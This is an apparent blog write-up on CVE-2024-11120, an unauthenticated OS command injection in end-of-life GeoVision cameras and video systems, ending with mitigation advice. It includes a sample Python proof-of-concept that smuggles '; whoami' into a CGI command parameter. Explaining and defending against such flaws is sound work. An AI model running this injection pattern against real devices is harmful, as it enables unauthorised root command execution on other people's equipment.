CVE-2024-11120 refers to an OS Command Injection vulnerability that affects certain End-of-Life (EOL) GeoVision devices. This vulnerability not only allows unauthenticated remote attackers to inject and execute arbitrary system commands on the device, but it has also reportedly been exploited in the wild. The purpose of this long read post is to present a detailed analysis of the vulnerability, including a code snippet, links to original references and exploit details.

Vulnerability Description

The OS Command Injection vulnerability exists in the firmware of certain EOL GeoVision devices, such as IP cameras and video management systems. Unauthenticated remote attackers can exploit this vulnerability by sending a specially crafted HTTP request to the affected device. The attacker-supplied input is improperly sanitized, allowing the injected code to be executed with root privileges on the target system.

As a result, this could lead to unauthorized access, remote control of the device, and disclosure of sensitive information stored on the system. This vulnerability has already been reported to be exploited by attackers, which underscores the need for users to act fast to protect their devices.

Exploit Details

To exploit this vulnerability, an attacker can send a specially crafted HTTP request to the affected device. Below is a sample Python script that demonstrates an exploit for guidance:

import requests

TARGET_IP = "192.168.1.1"  # Replace this with the IP address of your target device

def exploit(target_ip):
    payload = "; whoami"
    url = f"http://{target_ip}/cgi-bin/remote_command.cgi?command={payload}";
    response = requests.get(url)

    if response.status_code == 200:
        return response.text.strip()
    else:
        return None

command_output = exploit(TARGET_IP)
if command_output:
    print(f"Exploit successful! whoami output:\n {command_output}")
else:
    print(f"Exploit failed.")

Mitigation and Recommendations

GeoVision has confirmed that only their EOL products are affected by this vulnerability. Users of these devices are advised to take the following steps:

1. Disable remote access: If possible, disable remote access to the device, reducing the chances of remote exploitation.
2. Segment your network: Place the affected devices in a separate VLAN or network segment, limiting their exposure to other devices and systems on your network.
3. Consider upgrading to supported devices: EOL devices may no longer receive security updates from the manufacturer. Upgrading to newer, supported devices can provide better protection and security features.

CVE-2024-11120 highlights the significance of proactively managing security for network-connected devices, particularly when they reach the end of their life and no longer receive support from the manufacturer. Upgrading devices or employing other security measures can go a long way in keeping your network and sensitive information protected from potential attacks.
